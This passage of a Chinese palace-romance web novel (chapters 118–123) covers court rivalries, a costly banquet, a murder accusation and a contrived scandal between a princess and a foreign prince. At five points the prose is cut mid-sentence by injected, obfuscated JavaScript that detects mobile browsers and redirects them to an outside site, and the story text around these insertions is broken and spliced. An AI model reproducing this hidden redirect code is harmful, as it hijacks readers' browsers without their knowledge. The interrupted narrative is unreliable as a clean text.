华丽妍被慕馨宁的眼神刺伤,正要开口理论,就见慕馨宁她忽然伸出十根手指,她十根手指头上竟然都带了指环。 红的、蓝的、绿的…… 金的、玉的、宝石的…… 这都是刚刚,各国使臣和那些个向她示好的权贵们送的,她等马车无聊,所以都戴上了。 宋菀菀一时间搞不明白慕馨宁的意思:“你是在跟我们炫耀这些?” 慕馨宁是脑子有问题吧,哪个名门贵女会带这么多珠宝指环,她有什么好得意的? 再说她说的是晏骁寒是否对慕馨宁真心的事情,慕馨宁怎么左右而言他? 慕馨宁抬了抬下巴,晃了晃手指上的各种指环:“本宫是想说,本宫有钱……” 说着,她手心多了一块象征长公主身份的玉佩:“有权……” 然后,又做作的摸了摸自己的脸:“有颜……” 最后,她又总结道:“本宫是脑子坏了,所以才把自己的后半辈子寄托在一个男人身上。” “那你的意思,你对晏首辅,并非真心?”南阳郡主回头,看了一眼不远处的晏骁寒,声音呼吸拔高几分。 第118章 联姻? 慕馨宁脱口而出:“他待我真心,我自然也会回与他真心,投之以桃报之以李,这是人之常情。” 晏骁寒原本冷硬的那张俊脸,瞬间就柔和下来。 慕馨宁说着,又意味深长的来了一句:“不像某些人,人家连个好脸都不给你,你还巴巴的往人家冷屁股上贴。” 宋菀菀和南阳郡主的脸色都难看起来。 “简直是粗鄙!”华丽妍低声嘲讽,快步离开。 不远处的即墨挠了挠头,侧头看向离夜:“咱们大人,也没让她们贴冷屁股吧?” 离夜:“……” 等到了明月楼,慕馨宁发现,宋菀菀、南阳郡主和华丽妍竟然不请自来。 原本的好心情,顿时就打了折扣。 南阳郡主自顾自的道:“还是惠明公主有心,不忘了邀请我们一起,不像某些人小家子气。” 慕馨宁眯了眯眼睛,不悦的看向晏骁寒。 她请的人里头,可没有这三位。 她倒是也不吝啬这么点银子,但是人家说她坏话,陷害她、跟她作对,她却还要请人家吃饭,她又不是冤大头。 晏骁寒给了即墨一个眼神,即墨出去了一趟,很快明月楼的掌柜就来了。 他跟晏骁寒和慕馨宁客套两句,就让人摆碗筷。 可是一圈下来,宋菀菀和华丽妍、南阳郡主面前,什么也没有。 南阳郡主顿时黑了脸:“你们是眼瞎的么,我们三个这里为什么没有碗筷,难道要让我们用手?” 掌柜拿出一张单子来,环顾四周之后,正色对南阳郡主道:“抱歉三位,我们酒楼最近改了规矩,为了避免有人蹭吃蹭喝,所以要用实名制,您三位并不在长公主的受邀之列。” 慕馨宁低头,差点笑出声来,让别人下不来台的的本事,还是首辅大人更技高一筹。 三个人顿时脸色涨红,华丽妍和南阳郡主都齐刷刷的看向宋菀菀。 宋菀菀皱眉,满脸怒容:“你眼睛不好么,我可是惠明公主,各国使臣入京,我当然要代皇兄尽一尽地主之谊,你们竟然如此不把我放在眼里,简直是该死!” 掌柜的皮笑肉不笑:“那公主的意思,今日的席面,您请客?” 宋菀菀差点吐出一口血来。 这里的席面,一桌至少就得八百两,满满当当坐了五桌子的人,至少也得四千两! 这时,杜若开口道:“当然是惠明公主请客,大家不知道吧,惠明公主的父亲可是京城首富,很有钱呢!” 众人连忙朝着宋菀菀道谢。 宋菀菀气的差点吐血,支支吾吾的问:“今日的银子,不是皇兄出吗?” 就算她父亲有银子,可是钱也不是这么花的,母后和易王那里处处需要银子打点,她怎么敢这般挥霍? 有的达官显贵家的公子笑了一声:“我们身份卑微,哪敢花国库的银子,今日本来是长公主请客的,没想到惠明公主如此阔绰。” 偏偏掌柜的还一副很是羞愧的样子:“瞧瞧我这耳朵,刚刚惠明公主都说要尽一尽地主之谊,这顿席面当然是惠明公主请。” “来人啊,还不摆碗筷,千万别怠慢了惠明公主和客人们!” 宋菀菀吃了个哑巴亏,还敢怒不敢言。 于是,宋菀菀也只能让自己的人连忙去取银子来。 看着慕馨宁在桌子上大吃大喝,跟众人谈笑风生,时不时还要和晏骁寒搞暧昧,宋菀菀气的差点吐血。 “这个,这个好吃,你尝尝。”慕馨宁用筷子点了点自己桌上的红烧鹿筋, 虽然男女分席而坐,但是慕馨宁和晏骁寒的距离特别近,两个人说什么做什么也很方便。 晏骁寒没应声,却把自己的饭碗递到了慕馨宁跟前。 修长好看的手指搭在洁白如玉的碗沿上,别有一番景色,慕馨宁迟疑了一下,这才夹了一块红烧鹿筋到晏骁寒碗里。 晏骁寒还压低了声音: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699680|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “鹿筋乃大补之物,你少吃。” 慕馨宁恍然,鹿筋好像有补肾壮阳的功效。 于是,她又给晏骁寒夹了一块:“你多吃。” 晚上就住她的公主府吧。 晏骁寒:“……” 想起之前种种,晏骁寒是百思不得其解,这个女人是怎么做到一边怨恨他,还一边想睡他的? 他当然不相信慕馨宁现在对他好,就是喜欢他,想跟他白头偕老,她只是想得到他的身子,仅此而已。 将来慕馨宁再与他反目成仇,估计对他依旧是照下毒手不误。 慕馨宁喝了点酒,有些醉醺醺的,感受到宋菀菀那厌恶又怨恨的目光,她打了个酒嗝,想起了正事。 “哎,你觉得惠明公主怎么样?” 慕馨宁忽然侧头,问一旁的赫连儒。 赫连儒夹菜的手一抖,看了宋菀菀一眼,忽然有种不好的预感:“你什么意思?” 慕馨宁身子往赫连儒的方向靠了靠:“你来东陵,不是想要联姻?” 赫连儒脸色顿时不好了:“就算我有……” 他低头看了看自己**,然后有些嫌弃的道:“我也不会看上她的!” 而且,宋菀菀只是一个义女,又不是东陵真正的公主,别说他嫌弃,就是北赫任何一家王侯将相都看不上她。 慕馨宁眼睛转了转:“东陵适婚的公主,就本宫一个,你不会想娶本宫吧?” 赫连儒更嫌弃了:“那不可能,不过我北赫的公主郡主多的是,倒是可以和东陵通婚。” 赫连儒说着,强忍着脸上的幸灾乐祸,给了慕馨宁一个眼神,慕馨宁的目光就落在了一个白衣女子身上。 那白衣女子容貌绝色,一双满是柔情的眼睛,时不时就落在晏骁寒的身上。 “她是我皇祖父最小的公主,初到东陵水土不服,一直病着,所以才刚露面。” 慕馨宁:“……所以,她看上晏骁寒了?” 第119章 不娶也得娶 感受到那白衣女子时不时把目光落在晏骁寒身上,慕馨宁狠狠咬了一口兔腿。 赫连儒极力忍着脸上的幸灾乐祸:“估计,你们东陵的皇帝,会很乐意让她留下来,我那个偏心眼的皇祖父可是很喜欢我那个小姑的。” 所以,若是那个北赫的公主嫁给晏骁寒,两国的芥蒂会大大减少,东陵也会借着北赫强大起来。 晏骁寒冷淡的声音响起:“本官的婚事已经定了,让她还是寻别人吧。” 赫连儒来了兴致:“你真不愿意,太后娘娘可是打算让我那个小姑嫁给易王为妃呢。” 慕馨宁好心提醒:“易王都有未婚妻了,你不会不知道吧。” 赫连儒:“你们东陵,不是把花开并蒂作为好兆头,易王娶两个王妃,也是正常的。” 慕馨宁心里暗骂了一声,那老太婆野心还不小,华丽妍还没进门,又惦记上北赫的公主了。 可一想起北赫那个公主要嫁给晏骁寒,她心里就发堵。 可如果不嫁给晏骁寒,嫁给易王,那对于太后来说,简直是如虎添翼,那她更不乐意。 慕馨宁喝了口茶,语气冷淡的对赫连儒道:“你那个好姑姑,说什么水土不服,一直没有露面,其实只是借口吧。” 赫连儒把玩着面前的酒杯,露出一个意味深长的笑容。 北赫的公主长得也确实是国色天香,许多男子看了都不免心动,如果她一开始就在皇上跟前露面,皇上和别人不免会以为她想入宫为妃。 其实她称病,就是想趁机找个自己心仪之人,所以等她确定了目标,这才出现在众人跟前。 “首辅大人,这是我北赫最好的美酒,今日特意请首辅大人和诸位尝尝。” 这时,赫连伊带着侍女走到了晏骁寒跟前,她展颜一笑,犹如花苞绽放,春满山河,慕馨宁都看呆了。 晏骁寒只淡淡瞧了她一眼:“本官稍后还要入宫见皇上,不宜饮酒。” 赫连伊嘴角的笑更浓:“那就请长公主尝尝,看看我们北赫的酒和东陵的酒相比,哪个更胜一筹?” 众人看了看赫连伊,又看了看慕馨宁,胆子大的在低声议论: “你们说,是那个北赫的公主漂亮,还是长公主更胜一筹?” “这……各有千秋,不好说吧。” 慕馨宁并没有拒绝赫连伊的侍女给她倒酒,她笑着对赫连伊道:“四季轮转百花争艳,没有哪个季节是一等一的好,也没有哪朵花是天下第一娇艳,各有存在的自由,它们不会攀比。” 所以,攀比的只是人而已。 赫连伊嘴角的笑,终于有些挂不住。 传言东陵好色又嚣张的草包长公主,原来如此伶牙俐齿么。 “长公主说的不无道理。”赫连伊脸上的笑又灿烂几分。 “长公主尝尝?”赫连伊看着慕馨宁面前的酒杯,做了一个请的手势。 慕馨宁笑意不减,她和赫连伊算得上是情敌了吧,跟情敌喝酒,她心里怎么能痛快。 可是赫连伊毕竟是北赫的公主,她不好拒绝。 慕馨宁刚要端起酒杯,就听晏骁寒道:“你今日已经喝了许多,宫里宫外许多事情要处理,喝酒误事,还是多吃一些菜吧。” “既然长公主诸事繁忙,那这酒就算了,大家都尝尝。”赫连伊不好惹晏骁寒不快,只能自圆自说。 宋菀菀冷哼一声,阴阳怪气的道:“长公主现在被皇兄委以重任,就是不一样了,一杯酒还要绕来绕去,刚刚也没见你如此矜持。” 慕馨宁嘴角上扬,慵懒的靠在椅背上,理由充分:“那怎么一样,这顿饭可是惠明公主请客,本宫刚刚来者不拒,还不是为了给惠明公主撑场面?” 无耻! 宋菀菀肺都要气炸了,不知为何,怎么忽然感觉慕馨宁这句话莫名有些熟悉? 杜若连忙低头,差点笑出声来,自家主子是越来越厉害了,连宋菀菀的做派也学的来。 大家吃的差不多了,便结伴出了包厢。 管事的带着小二早早地等在门口,见宋菀菀出来,连忙奉上早就准备好的账单:“惠明公主,这顿饭共计五千零三十两银子,您身份尊贵,又和晏首辅长公主是熟识,所以给您一个优惠,五千两便可。” 宋菀菀惊的说不出话来,她的宫女惊呼出声:“五千多两,你抢钱呢?” 管事的擦了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703405|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擦额头的汗,一脸为难的拱手:“今日各国使臣都在,所以这席面是按照明月楼最高规格来的,五千零三十两,已经是很优惠了,现下又抹了零头……还望惠明公主理解。” 宋菀菀脸色青一阵紫一阵,这么多人看着,她能说什么,只能示意那宫女付钱,这个亏,她是吃下了。 那宫女一脸肉疼的将身上所有的银票都掏了出来,勉勉强强凑够了五千两。 出了明月楼,远远看着慕馨宁扯着晏骁寒的袖子不松手。 晏骁寒看着她的目光闪过一抹不易察觉的温和:“明日如何安排?” 慕馨宁:“我打算明日带他们去新亭湖泛舟,如何?” 晏骁寒点头:“也可。” “那你去吗?”她眨着一双清澈的杏眼看他。 晏骁寒强忍着笑意:“你想我去?” 慕馨宁:“我们单独一只画舫。” 慕馨宁给了他一个“你懂的”眼神。 晏骁寒:“……” “皇太孙?” 慕馨宁不经意的回头,就见赫连儒一副鬼鬼祟祟的样子要溜,她抬步上前,热情的抬起手臂。 她的手本能的就要搭在赫连儒身上,晏骁寒一声咳嗽,慕馨宁瞬间收回了手。 赫连儒有种不好的预感,所以才想早早地开溜,慕馨宁这么一喊他,他心头一沉,知道这个劫是躲不过去了。 “你那个小姑,瞧上晏骁寒,这其中,也有你的手笔吧?”慕馨宁虽然一脸笑意,却没来由的让赫连儒心中发慌。 赫连儒干笑道:“哪有,她是我的长辈,又深得皇祖父宠爱,我哪好管她的闲事。” 一看他那个做贼心虚的表情,慕馨宁就确定了:“别的不说,宋菀菀,你娶也得娶,不娶也得娶。” 赫连儒脸色不大好看:“就算你手里有我的把柄,但是好歹我也是皇太孙,你把事情做的这么绝,是不是不大合适?” 慕馨宁看了一眼远处正狠狠瞪她的宋菀菀:“你们皇室算计人的道道多的是,我又不是让你好好对她娶她做太孙妃。” 赫连儒一脸疑惑:“不做太孙妃,永平帝乐意,那个老女人能愿意?” 第120章 **了 慕馨宁:“这就看你的本事了。” 这种事情,慕馨宁也不怕赫连儒骂她卑鄙,她相信,赫连儒的手段,会比她更卑鄙无耻,还下流。 不然他一个……怎么可能坐上皇太孙的位子? 反正,不管赫连儒怎么说,宋菀菀他是娶定了。 太后想要娶北赫的公主做儿媳,绝对不可能,那太后退而求其次,也会觉得稳赚不赔的。 “这两日,你跟她好好培养培养感情。”慕馨宁嘴角闪过一抹坏笑,直接用命令的语气开口。 赫连儒气的气血翻涌头昏脑涨,恨不得现在就杀了慕馨宁。 看着赫连儒脸上的怒气,慕馨宁态度依旧坚定:“明天,我给你好好安排安排,你就抱得美人归吧。” 赫连儒当然不乐意,很不乐意。 就算他是个真男人,就算他好色,他也不会看上宋菀菀那种货色, 但是该死的慕馨宁……再看看不远处好整以暇的晏骁寒,他现在没有一点办法。 “你明明知道我……那件事要是败露,本王跟你鱼死网破!” 赫连儒咬牙切齿。 慕馨宁控制不住的拍了拍赫连儒的肩膀,语气嘲弄:“你,一夜七次郎,北赫皇室响当当的名头,怎么会拿不下一个宋菀菀?” 赫连儒:“……” 慕馨宁已经不再管他,扯着晏骁寒的袖子就上了马车。 “你就不怕,宋菀菀嫁给赫连儒,方便太后和北赫勾结?” “不能拿捏太后,还不能拿捏赫连儒么?” 慕馨宁就坐在晏骁寒身边,抓着他修长好看骨节分明的大手把玩片刻,又觉得不满足,一把搂着他的劲腰:“先不说这个,你让我亲一口……” 这厮长着一张人神共愤的脸,她看着就心痒痒,如今人就在眼前,她可不能错过这个机会。 晏骁寒:“……” “晏首辅不是要入宫,正好我也要和皇太孙一同进宫拜见皇上,不如我们结伴而行吧?” 不等慕馨宁对晏骁寒上下其手,外头传来赫连伊的声音。 慕馨宁磨牙,那个北赫的公主,真瞧上晏骁寒了? 晏骁寒好看的大手缓缓挑开车帘:“本官还有事,就不与公主同路了,你们自便吧。” 看着马车渐行渐远,赫连伊身后的侍女一脸不满:“这个晏首辅是什么意思,之前还说要进宫面圣不宜饮酒,这怎么又说有别的事……” “闭嘴!”赫连伊回头狠狠瞪了那侍女一眼,侍女脸色一白,立马闭嘴。 马车里,慕馨宁四仰八叉的靠在角落,看着晏骁寒动作优雅的喝茶,她眼睛转了转,试探着开口: “我看那个公主长得也不错,不如你把她收了?” 如果晏骁寒敢,那她定要让晏骁寒好看。 晏骁寒眸色微敛:“所以,你的意思,可以二人共侍一夫?” 慕馨宁翻了个白眼:“想得美。” 晏骁寒看她,面色微沉:“所以呢?” 这女人是盼着他娶北赫公主,然后和她退婚吧? 慕馨宁动了动唇,没说话。 马车里慕馨宁打了个盹,到了公主府已经不见了晏骁寒的身影,不知道他是不是又改变了主意,跟赫连伊一同入宫了。 入京之后,赫连伊一直装病,这会又主动进宫,估计是要请永平帝给她跟晏骁寒赐婚的。 慕馨宁心头发沉,利益在前,永平帝定会考虑取消她和晏骁寒的婚约,让赫连伊嫁给晏骁寒为妻。 慕馨宁有些烦躁。 次日游湖,并未看见晏骁寒的影子,也没看见赫连伊的人影。 倒是看见了崔惜颜,带着丫鬟挡住了霍承安的去路。 “承安,我亲自给你绣了一个荷包,你看看喜不喜欢?” 崔惜颜有些羞涩的从丫鬟手里接过一个绣着春光长寿花纹的荷包,递到了霍承安面前。 霍承安冷眼看着崔惜颜,语气没有到点温度:“侯夫人在闭门思过,你倒是还好意思出来抛头露面。” 一个大家闺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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随即,那个丫鬟就从华丽妍身后钻了出来:“就是奴婢亲眼所见,昨夜奴婢去给二公子送衣服,就见你那个属下亲手杀了二公子,还落下了身上的腰牌!” 第121章 好戏来了 孟大人当即让人将那令牌递过来,慕馨宁看见‘刘营’二字之后,面色微变。 她并没有让刘营去杀华力强,刘营应该不会擅自动手的。 况且昨日晏骁寒不是让华力强去大理寺自首,既然华力强不会有什么好下场,那她何必多此一举。 由此可见,这是有人故意跟她作对,陷害刘营么。 “刘营呢?”慕馨宁环顾四周。 孟大人:“下官本想请刘统领去府衙问话,没想到他直接跑了。” 华丽妍的丫鬟冷哼一声:“这不是做贼心虚,是什么!” 慕馨宁一时间也有些不确定起来人是不是刘营杀的。 这时候,岸边忽然多了一个人影:“殿下,属下在这里。” 刘营上前,不等慕馨宁开口,刘营便道:“属下没有跑,也不是做贼心虚,只是想着进大理寺之前,先亲自来跟殿下知会一声。” “殿下,属下没有对华力强动手。” 华丽妍顿时恼怒起来:“你没有杀我二哥,为什么我的丫鬟却一口咬定,为什么你的令牌却在我死去的二哥身边!” 刘营从身上摸了摸,却摸出一个一模一样的腰牌来。 孟大人愣了愣,伸手接过,经过两个令牌的对比,他确定:“刘统领身上的腰牌是用了很长时间的,腰牌的边缘已经磨得圆滑,而县主丫鬟交上来的令牌,很明显是新做出来的,或许这其中确实有什么误会。” 华丽妍擦了擦眼角的泪水:“就算这腰牌有蹊跷,可是我的丫鬟亲眼所见是他杀的人。” 慕馨宁问孟大人:“华力强什么时候**的?” 孟大人:“大概是亥时三刻。” 慕馨宁又询问了具体位置,然后对孟大人道:“亥时三刻,正常都应该休息了,外头的光线也昏暗,又隔了那么远,如何确定这丫鬟看见的就是刘营?” 那丫鬟张了张嘴,不安的看向华丽妍。 “我的丫鬟眼力一向很好,她当然不会说瞎话,长公主,您这是有意包庇你的人?” 华丽妍盯着慕馨宁,气势汹汹。 “昨天我看见一个人影,深夜提着剑悄悄进了公主府后门……” 南阳郡主不知道什么时候出现,身后还跟着他的车夫,刚刚说话的,就是这个车夫 那车夫仔细端详刘营片刻,然后一脸肯定:“我确定,就是他!那晚我正巧路过,眼睁睁看着他进公主府的后门十分自然,仿佛就跟回自己的家一样,而且他的剑上还在滴血!” 南阳郡主一阵惋惜:“长公主嚣张跋扈天下皆知,那二公子不过是护妹心切,顶撞了你几句,你竟然就起了杀心,要了他的命,可怜二公子还年纪轻轻,正是建功立业的好时候的……” 慕馨宁看着南阳郡主那一副感同心受的样子,冷笑一声,对孟大人道:“这也不能凭两瓣嘴胡说,没有十足的证据,本宫的人你是带不走的,倒不如,你先好好审审南阳的车夫和华县主的丫鬟。” 南阳郡主和华丽妍的脸色都难看起来。 南阳郡主:“慕馨宁,别以为你是长公主就可以胡作非为,既然两个人都能证明是你的人杀了华二公子,那你和那个奴才就应该接受大理寺的调查。” 华丽妍沉着脸对大理寺少卿道:“孟大人,你不会因为她是长公主,你就怕了她吧!” 孟大人有些焦头烂额:“这件事,下官还是要请示一下首辅大人。” 说着,他对身后的官差道:“先把华县主的丫鬟和南阳郡主的马夫请到大理寺问话。” “你敢!”南阳郡主和华丽妍异口同声。 “大理寺卿果然也是个趋炎附势的人吗,不敢动长公主和她的人,就想欺负本郡主和华县主?” 孟大人看了看慕馨宁,又看了看刘营,一时间不知该如何是好。 刘营朝着慕馨宁拱手:“殿下,昨夜属下可是在公主府和几个兄弟商量保护诸位使臣安全的事宜,兄弟们都可以给属下作证,属下也去大理寺走一遭吧,这样是不是就算公平了?” 南阳郡主握紧手里的帕子:“那些人都是你的下属,当然会替你遮掩!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703407|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慕馨宁眼睛眯了眯,盯着南阳郡主看了片刻,大概也猜出了什么:“南阳郡主若是有断案的本事,还要大理寺做什么,还要刑部做什么?” “本郡主……” 慕馨宁不再理会南阳郡主,转头对孟大人道:“本宫的人你可以带走,但是他怎么走的,你就怎么给本宫送回来,若是敢用刑,本宫让你吃不了兜着走!” 随即,南阳郡主和华丽妍也警告了孟大人一番。 孟大人头痛欲裂,这一个个都是不好惹的。 孟大人带着三个人离开,华丽妍一想起惨死的华力强,哭的伤心欲绝,被人扶着往回走。 慕馨宁看着她摇摇欲坠的身子冷笑一声:“华县主没了兄长,想必易王殿下肯定会心疼的。” 华丽妍眼里闪过一抹得意,易王确实是把她看的很重,虽然他不在京城,知道了此事也定会为她做主的。 她脸上的得意之色还没散去,就听慕馨宁又道:“易王殿下在北境,你这边的消息怕是不好传递,不过没关系,母后下了懿旨,让虞文茵嫁给易王做侧妃,这两日就要启程去北境与易王完婚,你这边的消息,她会替你传递的。” 此话一出,华丽妍瞬间面色灰败,她强忍着要向慕馨宁确定真假的冲动,快步离开。 南阳郡主面色古怪,因为家里已经打算让她嫁给华丽妍的三哥为妻,华家有了白事,那他们的婚期估计会推迟吧。 她暗暗咬牙,那个三公子就是个怂包,只会读几本破书而已,她绝对不会嫁给那样的人,她一定要想办法嫁给心爱之人才行! “啊……你们……在干什么……” 忽然,远处忽然传来一声尖叫,随即便有几个画舫朝着湖中心那只画舫靠了过去。 慕馨宁嘴角上扬,好戏来了。 穿过层层人群,就看见宋菀菀衣衫不整的跌坐在地上,赫连儒不慌不忙,慢条斯理的在系衣带。 “你们这是……” 有人看见那张黄杨木的躺椅上那抹血迹,不可置信的捂住了嘴巴。 第122章 先发制人 宋菀菀连忙摇头:“不是,没有……我们什么也没发生……我就是感觉太热了……” “惠明公主,那你怎么跟北赫皇太孙在一起?” 宋菀菀看了赫连儒一眼,连忙道:“我们只是闲聊,我想了解一下北赫的风土人情……” 赫连儒没想到这个宋菀菀不但会演戏,脸皮还挺厚,都失身了还这么能装。 “本来确实如此……”赫连儒整理了一下松松垮垮的发冠,脸上有些意犹未尽:“本王与惠明公主相谈甚欢,情投意合,又喝了点酒……” 说着,他一脸惭愧,不等宋菀菀开口,又道:“既然我们已经有了夫妻之实,本王定会向东陵皇帝求娶惠明公主做太孙妃。” 宋菀菀没想到赫连儒竟然当着这么多人的面拆她的台,她目光不善怒声对赫连儒道:“你胡说什么,赫连儒,你竟然敢污蔑我与你有染……” 赫连儒嘴角扯了扯:“本王这不是担心你肚子里怀了本王的孩子么,既然你不愿意嫁那就算了,本王也不勉强。” 众人震惊。 宋菀菀有些崩溃,目光不经意落在挤进人群的慕馨宁身上,她当即冲到慕馨宁跟前,指着她的鼻子:“慕馨宁,是你……一定是你做的对不对!” 赫连儒来找她,送了她许多贵重珠宝,她也想借此机会拉进与赫连儒的关系,想遵照母后的意思,让赫连儒想办法将北赫的公主嫁给易王,没想到聊着聊着她就情不自禁起来…… 慕馨宁一脸无辜:“本宫做什么了,本宫就不明白,宫里宫外怎么一有人苟且就把这种事情责怪到本宫身上,本宫是给你们下药了,还是扒你们衣裳了?” 前有崔惜颜,后有宋菀菀,有人听了噗嗤一笑,看慕馨宁的眼神都带了几分同情。 宋菀菀咬唇:“你不是对皇太孙有意吗,定是你想要……” 定是慕馨宁想要跟赫连儒苟且,她受了无妄之灾。 不等宋菀菀把话说完,慕馨宁连忙摇头:“本宫可不喜欢他,你不要乱点鸳鸯谱,大理寺孟大人还没走远,你要是觉得有人害你,不如请孟大人好好查一查。” 宋菀菀狠狠咬唇,查什么查,怎么查,真相能不能查出来不一定,她没了清白是事实,颜面肯定会丢的一干二净了。 “哎呀,皇太孙殿下,您这脖子上的伤怎么弄的?”有人惊呼一声。 赫连儒摸了摸脖子上的抓痕,又故意扯了扯领口,露出红色吻痕,意味深长的看了宋菀菀一眼,答案很明了。 众人心照不宣,两个人都那么激烈了,宋菀菀怎么可能是被强迫的。 “你,你们欺人太甚……你们给我等着……” 宋菀菀又羞又怒,又不知该如何是好,放下这句狠话,就落荒而逃。 她一走,众人更大胆的议论起来。 慕馨宁示意赫连儒到了没人的地方,慕馨宁早就忍不住好奇:“你说说,怎么做到的?” 本来只是让人撞见他们两个举止亲密就行了,慕馨宁的计划是让宋菀菀落水,赫连儒去救,没想到赫连儒另辟蹊径,直接把人给办了。 赫连儒做了一个提裤子的动作,一脸得意:“本王有人,也有家伙,这点事还办不成?” 其实,他之所以这么大动静,还是另有其因。 因为昨日,他收到了一个消息,宋菀菀并非太后的养女,而是太后与别的野男人生的私生女。 太后可是把宋菀菀当做掌上明珠,他把宋菀菀弄到手,然后去太后那讨点好处,若是再利用太后给慕馨宁和晏骁寒添点堵,也不亏么。 慕馨宁张大嘴巴,仿佛听见了惊天秘密。 “你平时,也这么玩儿的吗?” 赫连儒:“……” 原本赫连儒对慕馨宁还有些怨气,忽然想到什么,他眼里闪过一抹玩味:“知道宋菀菀跟人家办那种事的时候,嘴里喊的是谁的名字吗?” “本宫不想听。”慕馨宁脸色一变。 可是赫连儒并没如慕馨宁的愿,她捏着嗓子学着宋菀菀叫、床的声音:“嗯……啊……骁寒……嗯嗯……骁寒我爱你……” 慕馨宁快步上前,一把就捂住了赫连儒的嘴咬牙切齿:“闭嘴,再乱喊,信不信本宫拔了你的牙!” 此时的晏骁寒,难得出现在景阳宫里。 他坐在永平帝下首喝茶,永平帝脸上满是阴沉。 “母后,易王已经与华太尉的嫡女定了婚事,怎么可能再娶北赫的公主?” 太后一脸无奈的叹了口气:“这件事哀家也头疼,可是皇帝不知,北赫公主来我东陵的时候在路上遇见刺客,正是易王出手相救,两个人也算有了肌肤之亲,北赫公主毕竟是个女儿家,这没了清白,易王总要对她负责。” 永平帝沉着脸转动手上的扳指:“母后,这件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709116|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事皇太孙已经与朕说过了,易王确实是救了北赫使臣,北赫公主也只是脚滑撞在易王身上而已,并没有其他,这怎么算得上肌肤之亲?” 再说,那所谓的刺客,或许就是易王为了接近北赫公主自导自演的一场戏。 太后眼里闪过什么:“可是这件事被那么多人看见,如今北境那边也是传的沸沸扬扬,哀家也没办法。” 永平帝握了握拳头,好一个易王,好一个太后,竟然来了个先发制人,早早的就想与北赫勾结,把他这个皇帝当什么? 北赫公主的名声已经受了影响,除了易王,那娶北赫公主的人,定也会颜面无光。 永平帝忍着心头的怒意看向晏骁寒,想让晏骁寒想个解决的法子,晏骁寒却保持沉默,只低头喝茶。 永平帝心里凉了半截,若是易王娶了北赫公主,那他的皇位怕是坐不稳了。 “啊呜呜……母后……母后要给儿臣做主啊!” 就在这时,门口响起宋菀菀的哭声。 宋菀菀满脸泪水的冲进来,想要扑进太后怀里,看见眼前多了好几个人影,当即愣住。 皇上和晏骁寒这个时候怎么会在这里? 太后揉了揉太阳穴,喜怒不形于色,她说了多少回,可是这孩子从未放在心上。 以前只觉得这孩子在外头受了天大的委屈,所以特意接到自己身边来,给了她无尽的宠爱。 本来她是一片真心,没想到却把宋菀菀养的如此蠢笨,活了大半辈子,她从未感觉如此失败过。 “别怕,受了什么委屈说与你皇兄,再不济还有晏首辅为你做主。”太后端起茶盏,吹了吹上头漂浮的茶叶。 宋菀菀咬唇,含泪的双眼落在晏骁寒身上。 他也在,她绝对不能让他知道。 这时,王福急匆匆从外头进来:“太后娘娘,北赫皇太孙觐见。” 宋菀菀脸色一变,怒吼道:“让他滚,滚的越远越好,最好滚回他的北赫!” 太后皱眉:“莞儿!” 她正打算让自己的小儿子娶北赫公主为妃,宋菀菀说出这种话来,岂不是有损和睦? “把人请进来。” 太后放下手里的茶盏,对宋菀菀道:“你若是不想见他,就退下去。” 宋菀菀倒是想退下,可是赫连儒这个时候来,必定是跟她有关,她绝对不会嫁去北赫! 第123章 脸皮够厚 赫连儒进门,与在座几位客套两句,然后直入主题,宋菀菀多次打断想要制止,可是赫连儒还是不疾不徐将事情的经过说完了。 宋菀菀又羞又怒,恨不得找个地缝钻进去。 太后差点没背过气去,感觉自己大半辈子的脸面,都被宋菀菀给丢尽了。 “本王原本是不愿来这一趟的,但是毕竟事情是本王做的,总要给太后和东陵皇上一个交代。” 赫连儒说的冠冕堂皇,其实他这么急着来,就是担心宋菀菀将这件事遮掩过去。 永平帝怀疑的目光在二人身上游移:“皇太孙,你说的可是真的?” 